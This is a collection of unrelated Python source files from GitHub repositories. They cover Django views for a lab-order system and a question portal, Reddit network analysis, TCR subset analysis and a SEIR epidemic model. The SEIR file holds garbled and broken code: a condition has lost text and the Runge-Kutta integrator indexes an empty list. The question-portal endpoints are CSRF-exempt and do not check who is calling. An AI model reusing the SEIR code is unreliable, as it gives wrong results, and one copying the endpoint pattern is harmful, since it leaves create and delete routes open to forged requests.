+{"seq_id":"18925182174","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('wagtailcore', '0020_add_index_on_page_first_published_at'),\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Reminder',\n fields=[\n ('id', models.AutoField(primary_key=True, auto_created=True, serialize=False, verbose_name='ID')),\n ('due_to_be_sent_at', models.DateTimeField(null=True, blank=True)),\n ('page_reviewed', models.BooleanField(default=False)),\n ('sent', models.BooleanField(default=False)),\n ('page', models.ForeignKey(to='wagtailcore.Page')),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","repo_name":"neon-jungle/wagtail-relevancy","sub_path":"wagtailrelevancy/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"}
+{"seq_id":"3217255449","text":"from __future__ import absolute_import, division\n\nimport textwrap\n\n\ndef chunked(iterator, chunk_size):\n \"\"\"\n Given an iterator, chunk it up into ~chunk_size, but be aware of newline\n termination as an intended goal.\n \"\"\"\n result = ''\n for chunk in iterator:\n result += chunk\n while len(result) >= chunk_size:\n newline_pos = result.rfind('\\n', 0, chunk_size)\n if newline_pos == -1:\n newline_pos = chunk_size\n else:\n newline_pos += 1\n yield result[:newline_pos]\n result = result[newline_pos:]\n if result:\n yield result\n\n\ndef nl2br(value):\n return value.replace('\\n', ' \\n')\n\n\ndef break_long_lines(text, *args, **kwargs):\n \"\"\"\n Wraps the single paragraph in text (a string) so every line is at most\n width characters long. Short lines in text will not be touched.\n \"\"\"\n result = []\n for line in text.split('\\n'):\n result.append(textwrap.fill(line, *args, **kwargs))\n return '\\n'.join(result)\n","repo_name":"dropbox/changes","sub_path":"changes/utils/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":758,"dataset":"github-code","pt":"72"}
+{"seq_id":"44002973396","text":"#!/sw/arcts/centos7/python3.8-anaconda/2021.05/bin/python\n \n# Load Python modules #\n#|||||||||||||||||||||||#\n\n#import pkg_resources\n#pkg_resources.require(\"decorator==5.1.0\")\nimport os\nimport pandas as pd\n#pkg_resources.require(\"pandas==1.3.5\")\nimport networkx as nx\n#pkg_resources.require(\"networkx==2.6.3\")\nfrom networkx.algorithms.link_analysis.pagerank_alg import pagerank\n\nprint('initialization of python script \\n\\n')\n\n# quarters = pd.read_csv('/scratch/mmani_root/mmani0/shared_data/pushshift_python/Resources/Data/yearly_quarters.csv')\n# print('quarters read\\n')\n\nweeks = pd.read_csv('/scratch/mmani_root/mmani0/shared_data/pushshift_python/Resources/Data/yearly_weeks.csv')\nprint('weeks read\\n')\n\nos.chdir('/scratch/mmani_root/mmani0/shared_data/hot/csvz/')\n# os.chdir('/scratch/mmani_root/mmani0/shared_data/hot/csv_test/')\n\ncols = ['post_type', 'subreddit', 'id', 'parent_id', 'link_id', 'url',\n 'permalink', 'created_utc', 'datetime', 'score', 'upvote_ratio',\n 'num_comments', 'controversiality', 'total_awards_received', 'stickied',\n 'post_hint', 'is_self', 'is_video', 'title', 'body', 'author',\n 'author_premium']\n\nprint('trying\\n\\n')\nfor file in os.listdir():\n if file.endswith('.csv'):\n print('\\nparsing: '+file+'\\n')\n try:\n comm = pd.read_csv(filepath_or_buffer=file, low_memory=False,)\n comm = comm[cols]\n # for i in range(len(quarters)):\n for i in range(len(weeks)):\n print('\\nquarters loop :', i)\n if os.path.isfile(('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/network_features_' + file)):\n print('\\n previously parsed at loop: {} \\n'.format(i))\n continue\n else:\n try:\n df = comm.copy()\n \n # lower_utc = df['created_utc'].astype('int64') >= quarters.iloc[i,3].astype('int64')\n # upper_utc = df['created_utc'].astype('int64') <= quarters.iloc[i,5].astype('int64')\n lower_utc = df['created_utc'].astype('int64') >= weeks.iloc[i,3].astype('int64')\n upper_utc = df['created_utc'].astype('int64') <= weeks.iloc[i,5].astype('int64')\n df = df[lower_utc & upper_utc]\n \n if len(df) <= 5:\n print('loop skipped, file too small')\n continue \n\n Authors = list()\n Posts = list()\n Post_Author_Pairs = dict()\n\n for row in df.values:\n Author = str(row[-2])\n PostID = str(row[2])\n \n if Author != '[deleted]':\n if Author != 'AutoModerator':\n Authors.append(Author)\n Posts.append(PostID)\n Post_Author_Pairs[PostID] = Author\n try:\n print('phase=1')\n\n Data = {}\n\n for row in df.values:\n Author = str(row[-2])\n PostType = str(row[0])\n PostID = str(row[2])\n LinkID = str(row[4])[3:]\n ParentID = str(row[3])[3:]\n \n if Author != '[deleted]':\n if Author != 'AutoModerator':\n if LinkID in Post_Author_Pairs:\n ParentAuthor = Post_Author_Pairs[LinkID]\n elif ParentID in Post_Author_Pairs:\n ParentAuthor = Post_Author_Pairs[ParentID]\n else:\n ParentAuthor = ''\n\n if Author not in Data:\n Data[Author] = list()\n \n Data[Author].append([PostType, PostID, LinkID, ParentAuthor])\n except Exception as e:\n print('phase 1 failed as :', e)\n continue\n\n try:\n print('phase=2')\n\n Author_Exchanges = dict()\n\n for Author, PostInfo in Data.items():\n for Post in PostInfo:\n if Post[3] != '':\n Author_Exchanges[Author, Post[3]] = Author_Exchanges.get((Author, Post[3]), 0) + 1\n \n No_Self_Exchanges = {}\n ls = list(Author_Exchanges.keys())\n j = 0\n\n for author_pair, num_exchanges in Author_Exchanges.items():\n if ls[j][0] != ls[j][1]:\n No_Self_Exchanges[author_pair] = num_exchanges\n j += 1\n\n G = nx.DiGraph()\n except Exception as e:\n print('phase 2 failed as :', e)\n continue\n\n try:\n print('phase=3')\n\n for Auth_Pair, Num_Exchanges in No_Self_Exchanges.items():\n G.add_edge(Auth_Pair[0], Auth_Pair[1], weight=Num_Exchanges)\n\n out_degrees = [G.out_degree(node) for node in G]\n degree_centrality = nx.in_degree_centrality(G)\n closeness_centrality = nx.closeness_centrality(G)\n betweenness_centrality = nx.betweenness_centrality(G)\n network_features = pd.DataFrame(\n data={\n 'in_degree': [(G.in_degree(node)) for node in G],\n 'out_degree': out_degrees, \n 'degree_centrality': [degree_centrality[node] for node in G.nodes()],\n 'closeness_centrality': [closeness_centrality[node] for node in G.nodes()],\n 'betweenness_centrality': [betweenness_centrality[node] for node in G.nodes()]\n }, \n index=list(G.nodes())\n )\n except Exception as e:\n print('phase 3 failed as :', e)\n continue\n\n try:\n print('phase=4')\n\n for aleph in [0.65,0.70,0.75,0.80,0.85,0.90,0.95]:\n ranks = pagerank(G, alpha=aleph, max_iter=1000)\n pr = [ranks[node] for node in G]\n col_label = str(aleph)[2:] + '_pagerank'\n network_features[col_label] = pr\n except Exception as e:\n print('page rank failed as :', e)\n continue\n\n print('file phase')\n\n try:\n print('start try')\n # network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + quarters.iloc[i,6] + '/network_features_' + file)\n # nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + quarters.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/network_features_' + file)\n nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + weeks.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n print('files written successfully')\n except:\n print('start except')\n # print('making dirs :', quarters.iloc[i,6])\n # os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + quarters.iloc[i,6] + '/')\n # os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + quarters.iloc[i,6] + '/')\n # network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + quarters.iloc[i,6] + '/network_features_' + file)\n # nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + quarters.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n print('making dirs :', weeks.iloc[i,6])\n os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/')\n os.mkdir('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + weeks.iloc[i,6] + '/')\n network_features.to_csv('/scratch/mmani_root/mmani0/shared_data/hot/csv_networkz/' + weeks.iloc[i,6] + '/network_features_' + file)\n nx.write_gpickle(G, ('/scratch/mmani_root/mmani0/shared_data/hot/pkl_networkz/' + weeks.iloc[i,6] + '/network_G_' + file[:-4] + '.pkl'))\n continue\n except Exception as e:\n print('quarters loop exception as :', e)\n continue\n \n except Exception as e:\n print('file exception as :', e)\n continue \n\nprint('\\n\\ntermination of python script \\n\\n')\n\nexit()","repo_name":"casonk/pushshift_python","sub_path":"Great_Lakes_HPC/pys/network_maker.py","file_name":"network_maker.py","file_ext":"py","file_size_in_byte":10241,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"31788522854","text":"import math\n\n\ndef get_solution(dt, N, R0, D_incbation, D_infectious, D_to_hospital, D_recovery, P_SEVERE, CFR, InterventionTime, InterventionAmt):\n Integrators = {\"Euler\": [[1]],\n \"MidPoint\": [[0.5, 0.5], [0, 1]],\n \"Heun\": [[1, 1], [0.5, 0.5]],\n \"K3\": [[.5, .5], [1, -1, 2], [1 / 6, 2 / 3, 1 / 6]],\n \"SSP33\": [[1, 1], [.5, .25, .25], [1 / 6, 1 / 6, 2 / 3]],\n \"SSP43\": [[.5, .5], [1, .5, .5], [.5, 1 / 6, 1 / 6, 1 / 6], [1 / 6, 1 / 6, 1 / 6, 1 / 2]],\n \"RK4\": [[.5, .5], [.5, 0, .5], [1, 0, 0, 1], [1 / 6, 1 / 3, 1 / 3, 1 / 6]],\n \"RK38\": [[1 / 3, 1 / 3], [2 / 3, -1 / 3, 1], [1, 1, -1, 1], [1 / 8, 3 / 8, 3 / 8, 1 / 8]]}\n\n interpolation_steps = 10\n steps = 420 * interpolation_steps\n dt = dt/interpolation_steps\n sample_step = interpolation_steps\n\n method = Integrators.get(\"RK4\")\n\n # Build a SEIR model.\n def seir(t,x):\n if(t InterventionTime + duration):\n beta = 0.5 * R0 / (D_infectious)\n else:\n beta = R0 / (D_infectious)\n\n a = 1/D_incbation\n gamma = 1 / D_infectious\n\n S = x[0] #Susectable\n E = x[1] #Exposed\n I = x[2] #Infectious\n RM = x[3] #Recovering(Mezzanine)\n RH = x[4] #Recovering(Severe Casees)\n R = x[5] #Revovered(Full)\n D = x[6] #Dead\n\n dS = -beta * I * S\n dE = beta * I * S - a * E\n dI = a * E - gamma * I\n dRM = gamma*I - (1/D_to_hospital)*RM\n dRH = P_SEVERE*(1/D_to_hospital)*RM - (1/D_recovery)*RH\n dR = 0.8*(1/D_to_hospital)*RM + (1-CFR/P_SEVERE)*(1/D_recovery)*RH\n dD = (CFR/P_SEVERE)*(1/D_recovery)*RH\n\n\n # 0 1 2 3 4 5 6\n return [dS, dE, dI, dRM, dRH, dR, dD]\n\n def integrate(m,f,y,t,h):\n # f is a func of time t and state y;\n # y is the initial state, t is the time, h is the timestep.\n # updated y is returned.\n k = []\n\n for ki in range(len(m)):\n _y = y[:]\n if dt == ki:\n m[ki-1][0] *= h\n else:0\n for l in range(len(_y)):\n for j in range(1, ki+1):\n k.append(f(t + dt, _y))\n\n\n for ki in range(len(m)):\n print(k)\n _y = y[:]\n if dt == ki:\n m[ki-1][0] *= h\n else:0\n for l in range(len(_y)):\n for j in range(1, ki+1):\n _y[l] = _y[l] + h * (m[ki - 1][j]) * (k[ki - 1][l])\n #k[ki] = f(t + dt, _y, dt)\n\n r = []\n for l in range(len(_y)):\n for j in range(len(k)):\n r[l] = r[l] + h * (k[j][l]) * (m[ki - 1][j])\n return r\n\n\n v = [1, 0, 1/N, 0, 0, 0, 0]\n t = 0\n\n P = []\n TI = []\n Iters = []\n while(steps != 0):\n if ((steps + 1) % (sample_step) == 0):\n # Dead Hospital 0 exposed\n P.append([N*v[6], N*(v[4]), N*(v[2]), N*v[1]])\n TI.append(N*(1-v[0]))\n v = integrate(method,seir,v,t,dt)\n t += dt\n steps -= 1\n\n return {\"P\": P,\n \"deaths\": N*v[6],\n \"total\": 1-v[0],\n \"total_infected\": TI}\n\n\nif __name__ == '__main__':\n Time_to_death = 32\n logN = math.log(7e6)\n N = math.exp(logN)\n I0 = 1\n R0 = 2.2\n D_incbation = 5.2\n D_infectious = 2.9\n D_recovery_mild = (14-2.9)\n D_recovery_severe = (31.5-2.9)\n D_hospital_lag = 5\n D_death = Time_to_death - D_infectious\n CFR = 0.02\n InterventionTime = 100\n OMInterventionTime = 2/3\n InterventionAmt = 1 - OMInterventionTime\n Time = 220\n Xmax = 110000\n dt = 2\n P_SEVERE = 0.2\n duration = 7*12*1e10\n D_to_hospital = 3\n D_recovery = 30\n\n result = get_solution(dt, N, R0, D_incbation, D_infectious, D_to_hospital, D_recovery, P_SEVERE, CFR, InterventionTime, InterventionAmt)\n print(result)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"ZyTnT/INFO6205-HW","sub_path":"FinalProject/src/main/java/SEIR_Calculator.py","file_name":"SEIR_Calculator.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"25789984170","text":"\"\"\"\nview for order/client side\n\"\"\"\nimport os\nimport datetime\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom src.email_notification import EmailNotifications\nfrom orders.models import Order, Package\nfrom laboratoryOrders.models import Sample, TestSample, OrderSample\nfrom laboratoryOrders.models import TestResult, OrderTest, TestPackage\nfrom laboratory.models import Test\nfrom accounts.models import Client\n\ndef home_page(request):\n \"\"\"\n the client home page where they can access the different tabs avalible to them\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if Client.objects.filter(user=request.user):\n return render(request, 'orders/home_page.html')\n return redirect(\"accounts:employee_home_page\")\n\ndef order_history(request):\n \"\"\"\n the order history page, which creates a list or orders previously for the current users\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n # get a list of orders placed previously by this user\n orders_list = Order.order_for_user(request.user)\n context_dict = {'orders': list(orders_list)}\n return render(request, 'orders/order_history.html', context_dict)\n\ndef results(request):\n \"\"\"\n the resuls page, which creates a list of results for the user currently logged in\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n # get a list of test ids realted to this user\n orders = Order.order_for_user(request.user)\n order_test_samples = {}\n for order in orders:\n test_samples = []\n order_samples = OrderSample.objects.filter(order=order)\n for order_sample in order_samples:\n test_samples += list(order_sample.sample.test_samples())\n order_test_samples[order] = test_samples\n\n render_results = {}\n # re order the results for display purposes\n # render_results[order_number] = render_results[order_number] + list(query_set)\n for order_number, test_samples in order_test_samples.items():\n render_results[order_number] = []\n if len(test_samples) >= 1:\n sample_dict = {}\n for test_sample in test_samples:\n testresult = test_sample.test_result()\n result_dict = {}\n if testresult:\n result_dict['status'] = testresult.status\n result_dict['result'] = testresult.result\n result_dict['test'] = test_sample.user_side_id()\n result_dict['order_number'] = order_number.order_number\n result_dict['test_sample_id'] = test_sample.id\n sample_dict[result_dict['test']] = result_dict\n else:\n result_dict['status'] = \"not recieved\"\n result_dict['result'] = \"--\"\n result_dict['test'] = test_sample.user_side_id()\n result_dict['order_number'] = order_number.order_number\n result_dict['test_sample_id'] = test_sample.id\n sample_dict[result_dict['test']] = result_dict\n render_results[order_number] = sample_dict\n else:\n sample_dict = {}\n result_dict = {}\n result_dict['status'] = \"not recieved\"\n result_dict['result'] = \"--\"\n result_dict['test'] = \"--\"\n result_dict['order_number'] = order_number.order_number\n result_dict['test_sample_id'] = None\n sample_dict[result_dict['test']] = result_dict\n render_results[order_number] = sample_dict\n\n context_dict = {'user': request.user, 'results': render_results}\n return render(request, 'orders/results.html', context_dict)\n\ndef shopping(request):\n \"\"\"\n shopping page, this page is used to order new test for the client\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n\n account = Client.objects.filter(user = request.user).first()\n date = datetime.datetime.now()\n order_number = Order.next_order_number(account)\n tests_by_type = Test.get_test_by_type()\n tests_by_package = TestPackage.tests_by_package()\n\n new_ordertests = []\n if request.method == \"POST\":\n order = Order(order_number= order_number, account_number=account, submission_date=date)\n no_items_in_order = True # check to make sure we add items to this order\n\n for sample_type, tests in tests_by_type.items():\n if request.POST.get(sample_type + \"_check\"):\n if not request.POST.get(\"tests_\" + sample_type):\n messages.error(request, \"Please select a test to order\")\n context_dict = {\n 'tests_by_type': tests_by_type,\n 'packages': tests_by_package.keys()\n }\n return render(request,'orders/shopping.html',context_dict)\n quantity = request.POST.get(\"quantity_\" + sample_type)\n if int(quantity) <= 0:\n messages.error(request, \"Your quantity must be greater than or equal to 1.\" \\\n \" If you don't wish to include this item, uncheck the box\")\n context_dict = {\n 'tests_by_type': tests_by_type,\n 'packages': tests_by_package.keys()\n }\n return render(request,'orders/shopping.html',context_dict)\n test_name = request.POST.get(\"tests_\" + sample_type)\n test = Test.objects.filter(name=test_name).first()\n if not test:\n messages.error(request, \"Please select a test to order\")\n context_dict = {\n 'tests_by_type': tests_by_type,\n 'packages': tests_by_package.keys()\n }\n return render(request,'orders/shopping.html',context_dict)\n # error above redirect so if we got here, the order is valid and we can save\n order.save()\n for _count in range(0, int(quantity)):\n sample = Sample(sample_type=sample_type)\n sample.save()\n ordersample = OrderSample(order=order, sample = sample)\n ordersample.save()\n ordertest = OrderTest(order_number=order, test_id=test)\n ordertest.save()\n new_ordertests.append(ordertest)\n no_items_in_order = False\n\n if request.POST.get(\"packages_check\"):\n quantity = request.POST.get(\"quantity_packages\")\n if int(quantity) <= 0:\n messages.error(request, \"Your quantity must be greater than or equal to 1. \"\n \"If you don't wish to include this item, uncheck the box\")\n context_dict = {'tests_by_type': tests_by_type, 'packages': tests_by_package.keys()}\n return render(request,'orders/shopping.html',context_dict)\n package_name = request.POST.get(\"package_name\")\n if not package_name:\n messages.error(request, \"Please select a package to order\")\n no_items_in_order = False\n # error above redirect so if we got here, the order is valid and we can save\n order.save()\n for _count in range(0, int(quantity)):\n tests = tests_by_package[package_name]\n for test_name in tests:\n test = Test.objects.filter(name=test_name).first()\n ordertest = OrderTest(order_number=order, test_id=test)\n ordertest.save()\n new_ordertests.append(ordertest)\n sample = Sample(sample_type=test.sample_type)\n sample.save()\n ordersample = OrderSample(order=order, sample = sample)\n ordersample.save()\n if no_items_in_order:\n messages.error(request, \"You must include items in your order, \" \\\n \"make sure you have checkmarked the items to be included\")\n context_dict = {'tests_by_type': tests_by_type, 'packages': tests_by_package.keys()}\n return render(request,'orders/shopping.html',context_dict)\n # Notify lab admins of new order - Can change this to all employees if desired\n ordertests = \"\"\n for new_order_tests in new_ordertests:\n ordertests += str(new_order_tests.test_id) + \"\\n\"\n # Notify client that their new order is received\n new_order_email_notification = EmailNotifications()\n new_order_email_notification.new_order_notif(order, new_ordertests)\n\n return redirect('orders:order_history')\n\n context_dict = {'tests_by_type': tests_by_type, 'packages': tests_by_package.keys()}\n\n return render(request,'orders/shopping.html',context_dict)\n\ndef appendix_b(request):\n \"\"\"\n appendix b to help users decide which test and package to order for\n try to make it interactive depending on the sample quantities and the sample type\n \"\"\"\n sample_type_list = Test.objects.all()\n package_list = Package.objects.all()\n package = list(package_list)\n tests_list = Test.objects.all()\n tests = list(tests_list)\n sample_no_duplicate=sample_type_list.distinct()\n sample = list(sample_no_duplicate)\n context_dict = {'sample': sample,'package':package,'tests':tests}\n return render(request, 'orders/appendix_b.html',context_dict)\n\ndef order_page(request, order_id):\n \"\"\"\n page related to a specific order\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n client = Client.objects.filter(user=request.user).first()\n order = Order.objects.filter(order_number=order_id, account_number=client).first()\n samples = OrderSample.samples_for_order(order)\n\n order_inspected = True\n for sample in samples:\n order_inspected = order_inspected and sample.insepcted()\n\n context = {'order': order, 'samples': samples,\n 'order_inspected': order_inspected}\n return render(request, 'orders/order_page.html',context)\n\ndef view_sample(request, sample_id):\n \"\"\"\n view information for a specific sample\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n # delete old files so we don't end up with a bunch in memory\n mypath = os.path.join(os.getcwd(), \"static/barcodes\")\n for root, _dirs, files in os.walk(mypath):\n for file in files:\n if file.endswith('jpg'):\n os.remove(os.path.join(root, file))\n sample = Sample.objects.filter(id=sample_id).first()\n inspection = sample.inspection_results()\n\n barcode_file_path = sample.barcode()\n barcode_file_path = os.path.join(\"../../../\", barcode_file_path)\n\n lab_samples = sample.lab_samples()\n test_samples = sample.test_samples()\n\n order = sample.order()\n\n context = {'barcode_file_path': barcode_file_path, 'sample': sample, 'lab_samples': lab_samples,\n 'test_samples': test_samples, 'inspection': inspection, 'order': order}\n return render(request, 'orders/view_sample.html', context)\n\ndef view_test_sample(request, test_sample_id):\n \"\"\"\n view informaton about a specific test sample\n \"\"\"\n if not request.user.is_authenticated:\n return redirect(\"/\")\n if not Client.objects.filter(user=request.user):\n return redirect(\"accounts:employee_home_page\")\n\n test_sample = TestSample.objects.filter(id=test_sample_id).first()\n\n lab_sample = test_sample.lab_sample_id\n sample = lab_sample.sample\n test_result = TestResult.objects.filter(test_id=test_sample).first()\n context = {\n 'lab_sample': lab_sample,\n 'test_sample': test_sample,\n 'sample': sample,\n 'test_result': test_result\n }\n return render(request, 'orders/view_test_sample.html', context)\n","repo_name":"shepkeira/LIMS","sub_path":"LIMS_IMAGE/web/orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12533,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"70442264552","text":"from django.shortcuts import render\nfrom django.http.response import HttpResponseBadRequest, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.parsers import JSONParser\n\nfrom portal.models import Questions\nfrom portal.serializer import QuestionSerializer\n\nimport logging\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n# Create your views here.\n\n@csrf_exempt\ndef createQuestion(request):\n if request.method == 'POST':\n logger.info('Start writing database')\n question_data=JSONParser().parse(request)\n question_serializer=QuestionSerializer(data=question_data)\n if question_serializer.is_valid():\n logger.info('Writing record ...')\n try:\n res = question_serializer.save()\n logger.info('question_id ' + str(res.question_id) + ' successfully created')\n return JsonResponse(\"Added Successfully\",safe=False)\n except Exception as e:\n logger.exception(e)\n else:\n logger.error('Could not write record, bad data format')\n return JsonResponse(\"Failed to Add\",safe=False)\n else:\n logger.error('User made wrong request to questions/create route')\n return HttpResponseBadRequest(\"Unable to post\")\n\n@csrf_exempt\ndef deleteQuestion(request, id):\n logger.info('Start writing database')\n if request.method == 'DELETE':\n logger.info('Writing record ...')\n try:\n question = Questions.objects.get(question_id=id)\n question.delete()\n logger.info('question_id ' + str(id) + ' successfully deleted')\n return JsonResponse(\"Deleted Successfully\",safe=False)\n except Exception as e:\n logger.exception(e)\n return JsonResponse(\"Failed to Delete\",safe=False)\n else:\n logger.error('User made wrong request to questions/delete/ route')\n return HttpResponseBadRequest(\"Unable to delete\")\n\n@csrf_exempt\ndef getAllQuestions(request):\n logger.info('Start reading database')\n if request.method == \"GET\":\n logger.info('Getting records ...') \n try:\n questions = Questions.objects.all()\n question_serializer=QuestionSerializer(questions,many=True) \n logger.info('Finish getting records')\n return JsonResponse(question_serializer.data,safe=False)\n except Exception as e:\n logger.exception(e)\n else:\n logger.error('User made wrong request to questions/all route')\n return HttpResponseBadRequest(\"Unable to get questions\")","repo_name":"Ayoitsjason/JasonLe_Helix","sub_path":"helix_backend/portal/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"71433424233","text":"# base python imports\nimport re\nimport os\nimport random\nimport sys \n# python env imports\nimport numpy as np\nimport pandas as pd\nimport warnings\n\n# tcrdist2 imports\nfrom .all_genes import all_genes as all_genes_default\nfrom . import all_genes_db\nfrom . import amino_acids\nfrom . import basic\nfrom . import logo_tools\nfrom . import mappers\nfrom . import paths\nfrom . import random\nfrom . import rmf\nfrom . import svg_basic\nfrom . import tcr_sampler\nfrom . import util\nfrom collections import namedtuple\nfrom .storage import StoreIO\nfrom .storage import StoreIOMotif\nfrom .storage import StoreIOEntropy\nfrom .cdr3_motif import TCRMotif\n\n\n#from tcrdist import parse_tsv\n\nclass TCRsubset():\n \"\"\"\n A class dedictated to repertoire subset analysis,\n particularly relative entropy motifs\n \n Methods\n -------\n find_motif : function\n wrapper function that intializes a TCRMotif instance.\n TCRsubet.subset, TCRsubet.organism, TCRsubet.chains, and TCRsubet.epitopes.\n Runs TCRMotif.find_cdr3_motifs.\n\n eval_motif : function\n\n analyze_matches : function\n\n Attributes\n ----------\n clone_df : pd.DataFrame\n organism : str\n 'mouse' or 'human'\n epitopes : list\n list of unique epitopes. Use ['X'] if unknown or multiple.\n epitope : string \n use 'X'\n chains : list \n list comprised of 1 or 2 of the following: ['alpha', 'beta', 'gamma', 'delta', 'A', 'B', 'D', 'G', 'a', 'b', 'd', 'g']\n nbr_dist : float\n defaults to 100.0, used for finding neighboring clones \n dist_a : pd.DataFrame\n distances between alpha chains clones (can be used for gamma as well)\n dist_b = None,\n distances between beta chains clones (can be used for delta as well)\n dist_g = None,\n distances between gamma chains clones; gets coerces to dist_a\n dist_d = None,\n distances between delta chains clones; gets coerces to dist_a\n max_ng_lines : int\n maximum number of nextgen sequences to consider\n default_mode : bool\n if True, automatic lookups of background set based on chain supplied\n set to False, for custom background sets.\n\n Notes \n -----\n This class access lots of legacy code where \n all chains are refered to as 'A' or 'B'. So \n we need to patch in gamma/delta information. \n\n There is TCRsubset.default_mode boolean argument. \n This will eventually be removed, but it preserves the expected behavior\n where next-gen sequence are automatically loaded for use as background \n using the path.py module. \n\n There is a attribute TCRsubset.gamma_delta_mode, triggered by chains argument.\n If it become true, different behaivor is triggered in method via the gdmode toggle.\n\n \"\"\"\n def __init__(self,\n clone_df,\n organism = None,\n epitopes = None,\n epitope = None,\n chains = None,\n nbr_dist = None,\n dist_a = None,\n dist_b = None,\n dist_g = None,\n dist_d = None,\n max_ng_lines = 5000000,\n default_mode = True):\n \n self.default_mode = default_mode \n\n # TCRsubest first must detect whether we are doing alpha/beta or gamma/delta\n if np.any([x in chains for x in [\"d\",\"D\",\"delta\",\"g\",\"G\", \"gamma\"]]):\n self.gamma_delta_mode = True\n self.db_file = \"gammadelta_db.tsv\"\n # if user supplied dist_g, set it to self.dist_a\n if dist_g is not None:\n self.dist_a = dist_g\n else:\n self.dist_a = dist_a\n # if user supplied dist_d, set it to self.dist_b\n if dist_d is not None:\n self.dist_b = dist_d\n else:\n self.dist_b = dist_b \n else:\n # Alpha/Beta Case\n self.gamma_delta_mode = False\n self.db_file = \"alphabeta_db.tsv\"\n self.dist_b = dist_b\n self.dist_a = dist_a\n\n self.all_genes = all_genes_db.all_genes_db(self.db_file)\n\n chain_recognition = \\\n {\"alpha\":\"A\", \"beta\":\"B\", \"gamma\":\"A\", \"delta\":\"B\", \n \"A\":\"A\",\"B\":\"B\",\"D\":\"B\",\"G\":\"A\",\n \"a\":\"A\",\"b\":\"B\",\"d\":\"B\",\"g\":\"A\"} \n # shared class resources for validation\n self.chain_to_dist = {\"A\": \"dist_a\",\n \"B\": \"dist_b\",\n \"G\": \"dist_a\",\n \"D\" :\"dist_b\"}\n \n \n # Initialize attributes from initial arguments\n self.epitopes = epitopes\n self.epitope = epitope\n self.clone_df = clone_df\n self.organism = organism\n self.chains = chains\n self.max_ng_lines = max_ng_lines \n\n # From this point all chain choices are converted to\n # all choices are converted to capital 'A' or 'B' \n # User's chain argument is converted\n self.chains = [chain_recognition[x] for x in chains] \n\n # KMB 2020-05-13: This is an unfortunate hack, but if only beta chain is provided, make a copy for the dist_a \n if self.chains == ['B'] and self.dist_a is None:\n self.dist_a = self.dist_b.copy()\n self._add_dummy_columns(missing_chain = 'A', gdmode = self.gamma_delta_mode )\n elif self.chains == ['A'] and self.dist_b is None:\n self.dist_b = dist_a.copy()\n self._add_dummy_columns(missing_chain = 'B', gdmode = self.gamma_delta_mode)\n else:\n self.dist_a = dist_a\n self.dist_b = dist_b\n \n self.nbr_dist = nbr_dist \n # apply defaults, when None are supplied at initiation\n if self.nbr_dist is None:\n self.nbr_dist = 100.0\n\n # placeholders for internally generated attributes\n self.all_tcrs = None\n self.ng_tcrs = None\n self.all_rep2label_rep = None\n self.all_rep2label_rep_color = None\n self.motif_df = None\n\n # Epitope Specific\n self.tcrs = None\n self.rep2label_rep = None\n self.rep2label_rep_color = None\n self.motifs = None\n\n # Motif Specific\n self.all_neighbors = None\n self.vl = None\n self.jl = None\n self.vl_nbr = None\n self.jl_nbr = None\n \n # Validation\n self._validate_chains()\n self._validate_organism()\n\n # Generation\n self._generate_tcrs(self.epitope, gdmode = self.gamma_delta_mode)\n 